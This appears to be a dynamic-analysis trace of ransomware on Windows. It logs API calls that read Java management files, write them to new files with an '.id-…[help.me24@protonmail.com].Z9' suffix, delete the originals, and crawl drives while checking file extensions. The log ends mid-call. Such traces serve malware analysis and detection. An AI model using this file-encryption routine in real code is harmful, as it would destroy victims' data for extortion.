	[0193.543] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.543] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=3998) returned 1
	[0193.543] CloseHandle (hObject=0x35c) returned 1
	[0193.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20
	[0193.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.543] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.543] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.543] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.544] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0193.544] GetLastError () returned 0x0
	[0193.544] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0xf9e, lpOverlapped=0x0) returned 1
	[0193.545] WriteFile (in: hFile=0x39c, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0193.546] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.546] WriteFile (in: hFile=0x39c, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xf4, lpOverlapped=0x0) returned 1
	[0193.546] SetEndOfFile (hFile=0x39c) returned 1
	[0193.547] CloseHandle (hObject=0x39c) returned 1
	[0193.547] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.547] SetEndOfFile (hFile=0x35c) returned 1
	[0193.548] CloseHandle (hObject=0x35c) returned 1
	[0193.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.548] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1
	[0193.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.548] lstrlenW (lpString=".doc") returned 4
	[0193.549] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0193.549] lstrlenW (lpString=".docx") returned 5
	[0193.549] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0193.549] lstrlenW (lpString=".pdf") returned 4
	[0193.549] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
	[0193.549] lstrlenW (lpString=".xls") returned 4
	[0193.549] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0193.549] lstrlenW (lpString=".xlsx") returned 5
	[0193.549] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0193.549] lstrlenW (lpString=".ppt") returned 4
	[0193.549] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0193.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.549] lstrlenW (lpString=".zip") returned 4
	[0193.549] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0193.549] lstrlenW (lpString=".rar") returned 4
	[0193.549] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0193.549] lstrlenW (lpString=".bz2") returned 4
	[0193.549] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0193.549] lstrlenW (lpString=".7z") returned 3
	[0193.549] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0193.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.549] lstrlenW (lpString=".dbf") returned 4
	[0193.549] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0193.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.549] lstrlenW (lpString=".1cd") returned 4
	[0193.549] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0193.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.550] lstrlenW (lpString=".jpg") returned 4
	[0193.550] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0193.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.550] lstrlenW (lpString=".doc") returned 4
	[0193.550] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0193.550] lstrlenW (lpString=".docx") returned 5
	[0193.550] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0193.550] lstrlenW (lpString=".pdf") returned 4
	[0193.550] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
	[0193.550] lstrlenW (lpString=".xls") returned 4
	[0193.550] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0193.550] lstrlenW (lpString=".xlsx") returned 5
	[0193.550] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0193.550] lstrlenW (lpString=".ppt") returned 4
	[0193.551] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.551] lstrlenW (lpString=".zip") returned 4
	[0193.551] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0193.551] lstrlenW (lpString=".rar") returned 4
	[0193.551] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0193.551] lstrlenW (lpString=".bz2") returned 4
	[0193.551] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0193.551] lstrlenW (lpString=".7z") returned 3
	[0193.551] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.551] lstrlenW (lpString=".dbf") returned 4
	[0193.551] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.551] lstrlenW (lpString=".1cd") returned 4
	[0193.551] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0193.551] lstrlenW (lpString=".jpg") returned 4
	[0193.551] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0193.551] lstrcmpiW (lpString1=".template", lpString2=".Z9") returned -1
	[0193.551] lstrlenW (lpString="jmxremote.password.template") returned 27
	[0193.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.552] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=2856) returned 1
	[0193.552] CloseHandle (hObject=0x35c) returned 1
	[0193.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20
	[0193.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.553] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.553] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.553] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0193.554] GetLastError () returned 0x0
	[0193.554] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0xb28, lpOverlapped=0x0) returned 1
	[0193.555] WriteFile (in: hFile=0x39c, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xb30, lpOverlapped=0x0) returned 1
	[0193.557] ReadFile (in: hFile=0x35c, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.557] WriteFile (in: hFile=0x39c, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x10a, lpOverlapped=0x0) returned 1
	[0193.557] SetEndOfFile (hFile=0x39c) returned 1
	[0193.557] CloseHandle (hObject=0x39c) returned 1
	[0193.557] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.557] SetEndOfFile (hFile=0x35c) returned 1
	[0193.559] CloseHandle (hObject=0x35c) returned 1
	[0193.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.559] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1
	[0193.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.560] lstrlenW (lpString=".doc") returned 4
	[0193.560] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0193.560] lstrlenW (lpString=".docx") returned 5
	[0193.560] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0193.560] lstrlenW (lpString=".pdf") returned 4
	[0193.560] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0193.560] lstrlenW (lpString=".xls") returned 4
	[0193.560] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0193.560] lstrlenW (lpString=".xlsx") returned 5
	[0193.560] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0193.560] lstrlenW (lpString=".ppt") returned 4
	[0193.561] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0193.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.561] lstrlenW (lpString=".zip") returned 4
	[0193.561] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0193.561] lstrlenW (lpString=".rar") returned 4
	[0193.561] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0193.561] lstrlenW (lpString=".bz2") returned 4
	[0193.561] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0193.561] lstrlenW (lpString=".7z") returned 3
	[0193.561] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0193.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.561] lstrlenW (lpString=".dbf") returned 4
	[0193.561] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0193.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.561] lstrlenW (lpString=".1cd") returned 4
	[0193.561] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0193.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.561] lstrlenW (lpString=".jpg") returned 4
	[0193.561] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0193.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.561] lstrlenW (lpString=".doc") returned 4
	[0193.561] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0193.561] lstrlenW (lpString=".docx") returned 5
	[0193.562] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0193.562] lstrlenW (lpString=".pdf") returned 4
	[0193.562] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0193.562] lstrlenW (lpString=".xls") returned 4
	[0193.562] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0193.562] lstrlenW (lpString=".xlsx") returned 5
	[0193.562] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0193.562] lstrlenW (lpString=".ppt") returned 4
	[0193.562] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0193.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.562] lstrlenW (lpString=".zip") returned 4
	[0193.562] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0193.562] lstrlenW (lpString=".rar") returned 4
	[0193.562] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0193.562] lstrlenW (lpString=".bz2") returned 4
	[0193.562] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0193.562] lstrlenW (lpString=".7z") returned 3
	[0193.562] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0193.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.562] lstrlenW (lpString=".dbf") returned 4
	[0193.562] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0193.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.562] lstrlenW (lpString=".1cd") returned 4
	[0193.562] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0193.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0193.563] lstrlenW (lpString=".jpg") returned 4
	[0193.563] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0193.563] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0193.563] lstrlenW (lpString="management.properties") returned 21
	[0193.563] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.563] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=14630) returned 1
	[0193.563] CloseHandle (hObject=0x35c) returned 1
	[0193.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20
	[0193.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0193.564] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.564] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.565] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 99
	os_tid = 0xf60

	[0188.190] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x3a033c8
	[0188.190] lstrlenW (lpString="C:") returned 2
	[0188.190] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x35efcf8 | out: lpFindFileData=0x35efcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x76a8b8
	[0188.191] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0188.191] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0188.191] lstrlenW (lpString="$GetCurrent") returned 11
	[0188.191] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0188.191] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x3f80048
	[0188.191] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0188.191] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x35efa7c | out: lpFindFileData=0x35efa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76a8f8
	[0188.192] FindNextFileW (in: hFindFile=0x76a8f8, lpFindFileData=0x35efa7c | out: lpFindFileData=0x35efa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0188.192] FindNextFileW (in: hFindFile=0x76a8f8, lpFindFileData=0x35efa7c | out: lpFindFileData=0x35efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0188.192] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0188.192] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0188.192] lstrlenW (lpString="Logs") returned 4
	[0188.192] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0188.192] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x3f91058
	[0188.192] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0188.192] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffea6f, dwReserved1=0x1f2, cFileName=".", cAlternateFileName="")) returned 0x76a938
	[0188.193] FindNextFileW (in: hFindFile=0x76a938, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x350308da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffea6f, dwReserved1=0x1f2, cFileName="..", cAlternateFileName="")) returned 1
	[0188.193] FindNextFileW (in: hFindFile=0x76a938, lpFindFileData=0x35ef800 | out: lpFindFileData=0x35ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a3ab30, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a3ab30, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34ad347e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffea6f, dwReserved1=0x1f2, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DOWNLE~1.Z9")) returned 1
	[0188.193] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9") returned 79
	[0188.193] lstrlenW (lpString=".1cd") returned 4
	[0188.193] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0188.193] lstrlenW (lpString=".3ds") returned 4
	[0188.193] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0188.193] lstrlenW (lpString=".3fr") returned 4
	[0188.193] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0188.193] lstrlenW (lpString=".3g2") returned 4
	[0188.193] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0188.193] lstrlenW (lpString=".3gp") returned 4
	[0188.193] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0188.193] lstrlenW (lpString=".7z") returned 3
	[0188.193] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0188.194] lstrlenW (lpString=".accda") returned 6
	[0188.194] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0188.194] lstrlenW (lpString=".accdb") returned 6
	[0188.194] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0188.194] lstrlenW (lpString=".accdc") returned 6
	[0188.194] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0188.194] lstrlenW (lpString=".accde") returned 6
	[0188.194] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0188.194] lstrlenW (lpString=".accdt") returned 6
	[0188.194] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0188.194] lstrlenW (lpString=".accdw") returned 6
	[0188.194] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0188.194] lstrlenW (lpString=".adb") returned 4
	[0188.194] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0188.194] lstrlenW (lpString=".adp") returned 4
	[0188.194] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0188.194] lstrlenW (lpString=".ai") returned 3
	[0188.194] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0188.194] lstrlenW (lpString=".ai3") returned 4
	[0188.194] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0188.194] lstrlenW (lpString=".ai4") returned 4
	[0188.194] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0188.194] lstrlenW (lpString=".ai5") returned 4
